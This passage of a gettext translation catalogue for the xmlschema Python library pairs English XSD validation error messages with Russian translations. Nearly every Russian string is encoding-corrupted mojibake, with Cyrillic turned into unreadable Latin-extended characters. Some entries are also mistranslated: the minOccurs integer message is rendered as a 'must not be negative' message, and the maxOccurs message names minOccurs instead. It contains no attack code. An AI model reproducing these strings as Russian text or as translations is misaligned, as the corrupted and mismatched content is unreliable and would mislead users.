xmlschema/validators/complex_types.py:293 #: xmlschema/validators/simple_types.py:1247 msgid "circular definition found between {0!r} and {1!r}" msgstr "Đ¾Đ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ¾ Ñ†Đ¸ĐºĐ»Đ¸Ñ‡ĐµÑĐºĐ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ Đ¼ĐµĐ¶Đ´Ñƒ {0!r} и {1!r}" #: xmlschema/validators/complex_types.py:297 #: xmlschema/validators/complex_types.py:311 msgid "a complexType ancestor required: {!r}" msgstr "Ñ‚Ñ€ĐµĐ±ÑƒĐµÑ‚ÑÑ Đ¿Ñ€ĐµĐ´Đ¾Đº complexType: {!r}" #: xmlschema/validators/complex_types.py:302 #, python-format msgid "derivation by %r blocked by attribute 'final' in base type" msgstr "Đ¿Đ¾Đ»ÑƒÑ‡ĐµĐ½Đ¸Đµ %r Đ·Đ°Đ±Đ»Đ¾ĐºĐ¸Ñ€Đ¾Đ²Đ°Đ½Đ¾ Ñ‚ĐµĐ³Đ¾Đ¼ 'final' Đ² Đ±Đ°Đ·Đ¾Đ²Đ¾Đ¼ Ñ‚Đ¸Đ¿Đµ" #: xmlschema/validators/complex_types.py:319 msgid "a not empty simpleContent cannot restrict an empty content type" msgstr "Đ½Đµ Đ¿ÑƒÑÑ‚Đ¾Đ¹ simpleContent Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡Đ¸Đ²Đ°Ñ‚ÑŒ Đ¿ÑƒÑÑ‚Đ¾Đ¹ Ñ‚Đ¸Đ¿ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ°" #: xmlschema/validators/complex_types.py:326 msgid "content type is not a restriction of base content" msgstr "Ñ‚Đ¸Đ¿ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ°" #: xmlschema/validators/complex_types.py:332 msgid "with simpleContent cannot restrict an element-only content type" msgstr "simpleContent Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡Đ¸Đ²Đ°Ñ‚ÑŒ Ñ‚Đ¸Đ¿ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° Ñ‚Đ¾Đ»ÑŒĐºĐ¾ Đ´Đ»Ñ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ²" #: xmlschema/validators/complex_types.py:344 xmlschema/validators/groups.py:478 #, python-format msgid "unexpected tag %r" msgstr "Đ½ĐµĐ¾Đ¶Đ¸Đ´Đ°Đ½Đ½Ñ‹Đ¹ Ñ‚ĐµĐ³ %r" #: xmlschema/validators/complex_types.py:354 #, python-format msgid "base type %r has no simple content" msgstr "Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ %r Đ½Đµ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚" #: xmlschema/validators/complex_types.py:362 msgid "the base type is not derivable by restriction" msgstr "Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ½ĐµĐ»ÑŒĐ·Ñ Đ¿Đ¾Đ»ÑƒÑ‡Đ¸Ñ‚ÑŒ из-за Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đ¹" #: xmlschema/validators/complex_types.py:365 #: xmlschema/validators/complex_types.py:458 #: xmlschema/validators/complex_types.py:896 #, python-format msgid "base %r is simple or has a simple content" msgstr "Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ %r Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ¹ или ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Ñ‚ Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚" #: xmlschema/validators/complex_types.py:377 #, python-brace-format msgid "" "restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" msgstr "Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ xs:{0} Đ±Đ¾Đ»ĐµĐµ Ñ‡ĐµĐ¼ Đ¾Đ´Đ½Đ¾Đ¹ Ñ‡Đ°ÑÑ‚ÑŒÑ xs:{1} Đ·Đ°Đ¿Ñ€ĐµÑ‰ĐµĐ½Đ¾" #: xmlschema/validators/complex_types.py:389 msgid "derived a mixed content from a base type that has element-only content" msgstr "" "Đ¿Đ¾Đ»ÑƒÑ‡ĐµĐ½Đ¸Đµ ÑĐ¼ĐµÑˆĐ°Đ½Đ½Đ¾Đ³Đ¾ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ° Đ¾Ñ‚ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ°, Đ² ĐºĐ¾Ñ‚Đ¾Ñ€Đ¾Đ¼ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹" #: xmlschema/validators/complex_types.py:392 msgid "an empty content derivation from base type that has not empty content" msgstr "" "Đ¿Đ¾Đ»ÑƒÑ‡ĐµĐ½Đ¸Đµ Đ¿ÑƒÑÑ‚Đ¾Đ³Đ¾ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾ из Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ°, ĐºĐ¾Ñ‚Đ¾Ñ€Ñ‹Đ¹ Đ½Đµ Đ¸Đ¼ĐµĐµÑ‚ Đ¿ÑƒÑÑ‚Đ¾Đ³Đ¾ " "ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾" #: xmlschema/validators/complex_types.py:403 msgid "{0!r} is not a restriction of the base type {1!r}" msgstr "{0!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° {1!r}" #: xmlschema/validators/complex_types.py:412 #: xmlschema/validators/complex_types.py:901 msgid "the base type is not derivable by extension" msgstr "Đ±Đ°Đ·Đ¾Đ²Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»ÑƒÑ‡ĐµĐ½ Đ¿ÑƒÑ‚ĐµĐ¼ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Ñ" #: xmlschema/validators/complex_types.py:445 #: xmlschema/validators/complex_types.py:952 #: xmlschema/validators/complex_types.py:1002 #, python-format msgid "" "base has a different content type (mixed=%r) and the extension group is not " "empty." msgstr "" "база Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đ¹ Ñ‚Đ¸Đ¿ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾ (mixed=%r) и Đ³Ñ€ÑƒĐ¿Đ¿Đ° Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Đ¹ Đ½Đµ Đ¿ÑƒÑÑ‚Đ°." #: xmlschema/validators/complex_types.py:465 msgid "cannot extend a complex content with xs:all" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ ĐºĐ¾Đ¼Đ¿Đ»ĐµĐºÑĐ½Ñ‹Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚ Ñ xs:all" #: xmlschema/validators/complex_types.py:468 msgid "xs:sequence cannot extend xs:all" msgstr "xs:sequence Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Ñ€Đ°ÑÑˆĐ¸Ñ€Ñть xs:all" #: xmlschema/validators/complex_types.py:478 msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" msgstr "XSD 1.0 Đ½Đµ Đ¿Đ¾Đ·Đ²Đ¾Đ»ÑĐµÑ‚ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Ñ Đ½Đµ Đ¿ÑƒÑÑ‚Đ¾Đ¹ 'all' Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹" #: xmlschema/validators/complex_types.py:481 #, python-format msgid "" "base has a different content type (mixed=%r) and the extension group is not " "empty" msgstr "" "база Đ¸Đ¼ĐµĐµÑ‚ Đ´Ñ€ÑƒĐ³Đ¾Đ¹ Ñ‚Đ¸Đ¿ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đ³Đ¾ (mixed=%r) и Đ³Ñ€ÑƒĐ¿Đ¿Đ° Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Đ¹ Đ½Đµ Đ¿ÑƒÑÑ‚Đ°" #: xmlschema/validators/complex_types.py:495 #: xmlschema/validators/complex_types.py:1017 msgid "extended type has a mixed content but the base is element-only" msgstr "" "Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ Đ¸Đ¼ĐµĐµÑ‚ ÑĐ¼ĐµÑˆĐ°Đ½Đ½Đ¾Đµ ÑĐ¾Đ´ĐµÑ€Đ¶Đ¸Đ¼Đ¾Đµ, Đ½Đ¾ база ÑĐ¾ÑÑ‚Đ¾Đ¸Ñ‚ Ñ‚Đ¾Đ»ÑŒĐºĐ¾ из " "ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ²" #: xmlschema/validators/complex_types.py:655 msgid "global type {!r} is not built" msgstr "Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ {!r} Đ½Đµ ÑĐ¾Đ·Đ´Đ°ĐµÑ‚ÑÑ" #: xmlschema/validators/complex_types.py:721 #: xmlschema/validators/complex_types.py:746 #, python-format msgid "cannot decode %(obj)r data with %(decoder)r" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ„Ñ€Đ¾Đ²Đ°Ñ‚ÑŒ %(obj)r Đ´Đ°Đ½Đ½Ñ‹Đµ Ñ %(decoder)r" #: xmlschema/validators/complex_types.py:847 msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" msgstr "Đ¿Ñ€Đ¾ÑÑ‚Đ¾Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚ {!r} ÑĐ²Đ»ÑĐµÑ‚ÑÑ Đ½Đµ Đ²Đ°Đ»Đ¸Đ´Đ½Ñ‹Đ¼ Đ¿Ñ€Đ¾ÑÑ‚Ñ‹Đ¼ Ñ‚Đ¸Đ¿Đ¾Đ¼ Đ² XSD 1.1" #: xmlschema/validators/complex_types.py:854 msgid "openContent mismatch between type and model group" msgstr "Đ½ĐµÑĐ¾Đ¾Ñ‚Đ²ĐµÑ‚ÑÑ‚Đ²Đ¸Đµ openContent Đ¼ĐµĐ¶Đ´Ñƒ Ñ‚Đ¸Đ¿Đ¾Đ¼ и Đ³Ñ€ÑƒĐ¿Đ¿Đ¾Đ¹ Đ¼Đ¾Đ´ĐµĐ»Đ¸" #: xmlschema/validators/complex_types.py:869 #, python-format msgid "attribute %r must be inheritable" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ %r Đ´Đ¾Đ»Đ¶ĐµĐ½ Đ±Ñ‹Ñ‚ÑŒ ÑƒĐ½Đ°ÑĐ»ĐµĐ´Đ¾Đ²Đ°Đ½" #: xmlschema/validators/complex_types.py:885 msgid "default attribute {!r} is already declared in the complex type" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ {!r} ÑƒĐ¶Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»Ñ‘Đ½ Đ² ÑĐ»Đ¾Đ¶Đ½Đ¾Đ¼ Ñ‚Đ¸Đ¿Đµ" #: xmlschema/validators/complex_types.py:956 msgid "cannot extend an empty mixed content with an xs:all" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ Đ¿ÑƒÑÑ‚Đ¾Đ¹ ÑĐ¼ĐµÑˆĐ°Đ½Đ½Ñ‹Đ¹ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚ Ñ xs:all" #: xmlschema/validators/complex_types.py:974 #, python-format msgid "xs:all cannot extend a not empty xs:%s" msgstr "xs:all Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ Đ½Đµ Đ¿ÑƒÑÑ‚Ñ‹Đ¼ xs:%s" #: xmlschema/validators/complex_types.py:989 msgid "cannot extend a not empty 'all' model group with a different model" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ Đ½Đµ Đ¿ÑƒÑÑ‚ÑƒÑ Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ 'all' Đ¾Ñ‚Đ»Đ¸Ñ‡Đ°ÑÑ‰ĐµĐ¹ÑÑ Đ¼Đ¾Đ´ĐµĐ»ÑŒÑ" #: xmlschema/validators/complex_types.py:992 msgid "when extend an xs:all group minOccurs must be the same" msgstr "Đ¿Ñ€Đ¸ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸Đ¸ Đ³Ñ€ÑƒĐ¿Đ¿Ñ‹ xs:all minOccurs Đ´Đ¾Đ»Đ¶Đ½Đ¾ ÑĐ¾Đ²Đ¿Đ°Đ´Đ°Ñ‚ÑŒ" #: xmlschema/validators/complex_types.py:995 msgid "cannot extend an xs:all group with mixed empty content" msgstr "Đ½ĐµĐ²Đ¾Đ·Đ¼Đ¾Đ¶Đ½Đ¾ Ñ€Đ°ÑÑˆĐ¸Ñ€Đ¸Ñ‚ÑŒ Đ³Ñ€ÑƒĐ¿Đ¿Ñƒ xs:all Ñ Đ¿ÑƒÑÑ‚Ñ‹Đ¼ ÑĐ¼ĐµÑˆĐ°Đ½Đ½Ñ‹Đ¼ ĐºĐ¾Đ½Ñ‚ĐµĐ½Ñ‚Đ¾Đ¼" #: xmlschema/validators/complex_types.py:1035 msgid "{0!r} is not an extension of the base type {1!r}" msgstr "{0!r} Đ½Đµ ÑĐ²Đ»ÑĐµÑ‚ÑÑ Ñ€Đ°ÑÑˆĐ¸Ñ€ĐµĐ½Đ¸ĐµĐ¼ Đ±Đ°Đ·Đ¾Đ²Đ¾Đ³Đ¾ Ñ‚Đ¸Đ¿Đ° {1!r}" #: xmlschema/validators/notations.py:39 msgid "a notation declaration must be global" msgstr "Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ notation Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Ñ‹Đ¼" #: xmlschema/validators/notations.py:43 msgid "a notation must have a 'name' attribute" msgstr "notation Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¸Đ¼ĐµÑ‚ÑŒ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'name'" #: xmlschema/validators/notations.py:46 msgid "a notation must have a 'public' or a 'system' attribute" msgstr "notation Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ¸Đ¼ĐµÑ‚ÑŒ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'public' или 'system'" #: xmlschema/validators/particles.py:122 msgid "minOccurs value is not an integer value" msgstr "minOccurs Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼" #: xmlschema/validators/particles.py:126 msgid "minOccurs value must be a non negative integer" msgstr "minOccurs Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ½Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¾Ñ‚Ñ€Đ¸Ñ†Đ°Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼" #: xmlschema/validators/particles.py:134 msgid "minOccurs must be lesser or equal than maxOccurs" msgstr "minOccurs Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¼ĐµĐ½ÑŒÑˆĐµ или Ñ€Đ°Đ²Đ½Đ¾ maxOccurs" #: xmlschema/validators/particles.py:142 msgid "maxOccurs value must be a non negative integer or 'unbounded'" msgstr "minOccurs Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ Đ¿Đ¾Đ»Đ¾Đ¶Đ¸Ñ‚ĐµĐ»ÑŒĐ½Ñ‹Đ¼ или 'unbounded'" #: xmlschema/validators/particles.py:146 msgid "maxOccurs must be 'unbounded' or greater than minOccurs" msgstr "maxOccurs Đ´Đ¾Đ»Đ¶Đ½Đ¾ Đ±Ñ‹Ñ‚ÑŒ 'unbounded' или Đ±Đ¾Đ»ÑŒÑˆĐµ Ñ‡ĐµĐ¼ minOccurs" #: xmlschema/validators/assertions.py:76 msgid "base_type={!r} is not a complexType definition" msgstr "base_type={!r} Đ½Đµ Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ complexType" #: xmlschema/validators/elements.py:162 #, python-format msgid "unknown element %r" msgstr "Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ %r" #: xmlschema/validators/elements.py:179 msgid "attribute {!r} is not allowed when element reference is used" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿ĐµĐ½ ĐºĐ¾Đ³Đ´Đ° иÑĐ¿Đ¾Đ»ÑŒĐ·ÑƒĐµÑ‚ÑÑ ÑÑÑ‹Đ»ĐºĐ° Đ½Đ° ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚" #: xmlschema/validators/elements.py:200 msgid "local scope elements cannot have abstract attribute" msgstr "Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Ñ‹Đµ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Ñ‹ Đ½Đµ Đ¼Đ¾Đ³ÑƒÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ абÑÑ‚Ñ€Đ°ĐºÑ‚Đ½Ñ‹Đµ Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹" #: xmlschema/validators/elements.py:227 msgid "attribute {!r} is not allowed in a global element declaration" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿ĐµĐ½ Đ² Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸ Đ³Đ»Đ¾Đ±Đ°Đ»ÑŒĐ½Đ¾Đ³Đ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°" #: xmlschema/validators/elements.py:232 msgid "attribute {!r} not allowed in a local element declaration" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ {!r} Đ½ĐµĐ´Đ¾ÑÑ‚ÑƒĐ¿ĐµĐ½ Đ² Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đ¸ Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đ³Đ¾ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°" #: xmlschema/validators/elements.py:250 xmlschema/validators/elements.py:1460 #: xmlschema/validators/simple_types.py:859 #: xmlschema/validators/simple_types.py:1024 #: xmlschema/validators/simple_types.py:1240 msgid "unknown type {!r}" msgstr "Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ Ñ‚Đ¸Đ¿ {!r}" #: xmlschema/validators/elements.py:255 msgid "" "the attribute 'type' and a xs:{} local declaration are mutually exclusive" msgstr "" "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚ 'type' и Đ»Đ¾ĐºĐ°Đ»ÑŒĐ½Đ¾Đµ Đ¾Đ±ÑÑĐ²Đ»ĐµĐ½Đ¸Đµ xs:{} ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸" #: xmlschema/validators/elements.py:274 xmlschema/validators/attributes.py:165 msgid "'default' and 'fixed' attributes are mutually exclusive" msgstr "Đ°Ñ‚Ñ€Đ¸Đ±ÑƒÑ‚Ñ‹ 'default' и 'fixed' ÑĐ²Đ»ÑÑÑ‚ÑÑ Đ²Đ·Đ°Đ¸Đ¼Đ¾Đ¸ÑĐºĐ»ÑÑ‡Đ°ÑÑ‰Đ¸Đ¼Đ¸" #: xmlschema/validators/elements.py:278 msgid "'default' value {!r} is not compatible with element's type" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'default' {!r} Đ½Đµ ÑĐ¾Đ²Đ¼ĐµÑÑ‚Đ¸Đ¼Đ¾ Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°" #: xmlschema/validators/elements.py:282 msgid "xs:ID or a type derived from xs:ID cannot have a default value" msgstr "" "xs:ID или Ñ‚Đ¸Đ¿ Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¹ Đ¾Ñ‚ xs:ID Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ Đ¿Đ¾ ÑƒĐ¼Đ¾Đ»Ñ‡Đ°Đ½Đ¸Ñ" #: xmlschema/validators/elements.py:288 msgid "'fixed' value {!r} is not compatible with element's type" msgstr "Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Đµ 'fixed' {!r} Đ½Đµ ÑĐ¾Đ²Đ¼ĐµÑÑ‚Đ¸Đ¼Đ¾ Ñ Ñ‚Đ¸Đ¿Đ¾Đ¼ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ°" #: xmlschema/validators/elements.py:292 msgid "xs:ID or a type derived from xs:ID cannot have a fixed value" msgstr "xs:ID или Ñ‚Đ¸Đ¿ Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¹ Đ¾Ñ‚ xs:ID Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ¸Đ¼ĐµÑ‚ÑŒ 'fixed' Đ·Đ½Đ°Ñ‡ĐµĐ½Đ¸Ñ" #: xmlschema/validators/elements.py:311 xmlschema/validators/elements.py:319 #, python-format msgid "duplicated identity constraint %r:" msgstr "Đ´ÑƒĐ±Đ»Đ¸Ñ€Đ¾Đ²Đ°Đ½Đ½Đ¾Đµ Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Đµ Đ¸Đ´ĐµĐ½Ñ‚Đ¸Ñ„Đ¸ĐºĐ°Ñ†Đ¸Đ¸ %r:" #: xmlschema/validators/elements.py:341 #, python-format msgid "unknown substitutionGroup %r" msgstr "Đ½ĐµĐ¸Đ·Đ²ĐµÑÑ‚Đ½Ñ‹Đ¹ substitutionGroup %r" #: xmlschema/validators/elements.py:346 #, python-format msgid "circularity found for substitutionGroup %r" msgstr "Đ¾Đ±Đ½Đ°Ñ€ÑƒĐ¶ĐµĐ½Đ° Đ·Đ°Ñ†Đ¸ĐºĐ»ĐµĐ½Đ½Đ¾Ñть substitutionGroup %r" #: xmlschema/validators/elements.py:361 msgid "" "{0!r} type is not of the same or a derivation of the head element {1!r} type" msgstr "Ñ‚Đ¸Đ¿ {0!r} Đ½Đµ ÑĐ¾Đ²Đ¿Đ°Đ´Đ°ĐµÑ‚ или Đ½Đ°ÑĐ»ĐµĐ´ÑƒĐµÑ‚ Đ³Đ¾Đ»Đ¾Đ²Đ½Đ¾Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ Ñ‚Đ¸Đ¿Đ° {1!r}" #: xmlschema/validators/elements.py:365 #, python-format msgid "" "head element %r can't be substituted by an element that has a derivation of " "its type" msgstr "" "Đ³Đ¾Đ»Đ¾Đ²Đ½Đ¾Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ %r Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ·Đ°Đ¼ĐµĐ½ĐµĐ½ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼, Đ¿Ñ€Đ¾Đ¸Đ·Đ²Đ¾Đ´Đ½Ñ‹Đ¼ Đ¾Ñ‚ ĐµĐ³Đ¾ Ñ‚Đ¸Đ¿Đ°" #: xmlschema/validators/elements.py:369 #, python-format msgid "" "head element %r can't be substituted by an element that has an extension of " "its type" msgstr "" "Đ³Đ¾Đ»Đ¾Đ²Đ½Đ¾Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ %r Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ·Đ°Đ¼ĐµĐ½ĐµĐ½ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼, Ñ€Đ°ÑÑˆĐ¸Ñ€ÑÑÑ‰Đ¸Đ¼ ĐµĐ³Đ¾ Ñ‚Đ¸Đ¿" #: xmlschema/validators/elements.py:373 #, python-format msgid "" "head element %r can't be substituted by an element that has a restriction of " "its type" msgstr "" "Đ³Đ¾Đ»Đ¾Đ²Đ½Đ¾Đ¹ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚ %r Đ½Đµ Đ¼Đ¾Đ¶ĐµÑ‚ Đ±Ñ‹Ñ‚ÑŒ Đ·Đ°Đ¼ĐµĐ½ĐµĐ½ ÑĐ»ĐµĐ¼ĐµĐ½Ñ‚Đ¾Đ¼, ĐºĐ¾Ñ‚Đ¾Ñ€Ñ‹Đ¹ Đ¸Đ¼ĐµĐµÑ‚ " "Đ¾Đ³Ñ€Đ°Đ½Đ¸Ñ‡ĐµĐ½Đ¸Ñ Đ¾Ñ‚ ĐµĐ³Đ¾ Ñ‚Đ¸Đ¿Đ°" #: xmlschema/validators/elements.py:547 msgid "schemaLocation declaration after namespace start" msgstr "Đ¾Đ¿Ñ€ĐµĐ´ĐµĐ»ĐµĐ½Đ¸Đµ schemaLocation Đ¿Đ¾Ñле Đ½Đ°Ñ‡Đ°Đ»Đ° Đ¿Ñ€Đ¾ÑÑ‚Ñ€Đ°Đ½ÑÑ‚Đ²Đ° Đ¸Đ¼Ñ‘Đ½" #: xmlschema/validators/elements.py:556 #, python-format msgid "missing dynamic loaded schema from %s" msgstr "Đ¾Ñ‚ÑутÑÑ‚Đ²ÑƒĐµÑ‚ Đ´Đ¸Đ½Đ°Đ¼Đ¸Ñ‡ĐµÑĐºĐ°Ñ Đ·Đ°Đ³Ñ€ÑƒĐ¶ĐµĐ½Đ½Đ°Ñ ÑÑ…ĐµĐ¼Đ° из %s" #: xmlschema/validators/elements.py:559 msgid "dynamic loaded schema change the assessment" msgstr "Đ´Đ¸Đ½Đ°Đ¼Đ¸Ñ‡ĐµÑĐºĐ°Ñ Đ·Đ°Đ³Ñ€ÑƒĐ¶ĐµĐ½Đ½Đ°Ñ ÑÑ…ĐµĐ¼Đ° Đ¸Đ·Đ¼ĐµĐ½ÑĐµÑ‚ Đ¾Ñ†ĐµĐ½ĐºÑƒ" #: xmlschema/validators/elements.py:610 msgid "cannot use an abstract element for validation" msgstr "Đ½ĐµĐ»ÑŒĐ·Ñ Đ¸ÑĐ¿Đ¾Đ»ÑŒĐ·Đ¾Đ²Đ°Ñ‚ÑŒ абÑÑ‚Ñ€Đ°ĐºÑ‚Đ½Ñ‹Đ¹ 